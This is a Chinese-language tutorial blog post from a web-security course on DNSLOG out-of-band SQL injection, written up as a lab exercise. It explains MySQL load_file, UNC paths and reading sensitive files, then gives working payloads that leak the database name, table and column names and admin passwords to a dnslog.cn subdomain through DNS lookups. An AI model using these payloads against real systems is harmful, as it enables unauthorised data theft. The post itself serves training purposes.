web安全入门(第五章-3)dns注入

一、DNSLOG的函数解析

1,基本
	DNS(协议  域名 -> IP转换)
	
	日志:基本上所有程序都会记录日志
	
	DNS	他实际上也是有日志的
	
	补充:问:DNSlog注入是不是在linx系统可不可以用SMB服务?  (全称是Server Message Block ,														           用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。)
		  答:在linx里面默认不可以使用,因为linx没有这个服务
2,函数用法:
	select load_file(路径);			//这个函数用于读取文件内容,并返回输出
		例如:select load_file(c:/d/1.txt)
		
	路径可以是绝对也可以是相对,
	注意mysql执行的相对路径是	mysql/data/下  并不是mysql文件夹下
	
3,若load_file无法读取文件,去改一下设置:
		在mysql文件下my.ini的最下面加一行
		secure_file_priv=
	
	敏感文件:
		Linux 	/etc/passwd
		Win		C:/windows/win.ini
		
	知道需不需要更改配置,直接去试试读取敏感文件
		select load_file('c:/windows/win.ini');


4,UNC路径
	UNC:	简单的说,就是网络(主要是局域网)上共享的资源
	格式:
			\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
	如何共享:
			首先创建文件夹,右键共享,高级共享。在以上选项可选时依次执行。
	如何访问:
			在同网络中,输入\\ + 对方的ip或+对方的主机名即可访问对方共享的文件夹
	例如:
			jkl计算机的名为a123的共享文件夹,
				用UNC表示:
			\\jkl\a123
			
	我们熟知的命令行访问网上邻居,实际上应该称作UNC路径访问法

二、DNSLOG的使用场景

	本质上就是win上的一种服务,Linux上是没有的在某些无法直接利用漏洞获得回显的情况下,
	但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
		    
	对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
	所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据
		
	select load_file()	(读取文件)可以请求远程共享文件。
	比如:访问baidu.com,访问了域名,域名是由DNS服务器解析。
	
	免费域名平台:
	http://dnslog.cn/ 免费的dnslog平台 提供免费域名
	
	select load_file('//error.1806dl.dnslog.cn/ abc');
						域名=>dns解析=>记录某时某刻
						
	select load_file(concat('//'(select database()),'域名//abc')	(select database())是一个子查询,会查询当前库名,有括号优先执行
	select load_file('//root.xx.xxx.xxxx//abc');
	数据库去访问root.xx.xxx.xxxx的服务器下的共享文件夹abc。
	然后xxx.xxxx子域名的解析都是在某台服务器,然后他记录下来了有人请求访问root.xx.xxx.xxxx,然后在xxx这个平台上面显示出来。
	
	//开头代表是UNC路径

三、靶场作业

	判断注入点
	在url栏中输入id=1 没反应 输入 id and 1=1 发现访问被拦截  /123.txt?id=1%20and%20sleep(5) 发现有延迟,说明存在注入
	02nz91.dnslog.cn 是域名  	abc	域名下的文件夹
	查询库名	
	And load_file(concat(‘//’,(select database()),’.02nz91.dnslog.cn//abc’))   
		
	表名出现admin 说明第一个表名是admin	
	and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.02nz91.dnslog.cn//abc')) 	
	出现第二个表 news
	and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc')) 	
		
	字段名	 Limit 3,1/limit 2,1 /limit 1,1 出现全部字段
	and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc')) 	
		
	爆内容	
	and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc')) 	
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值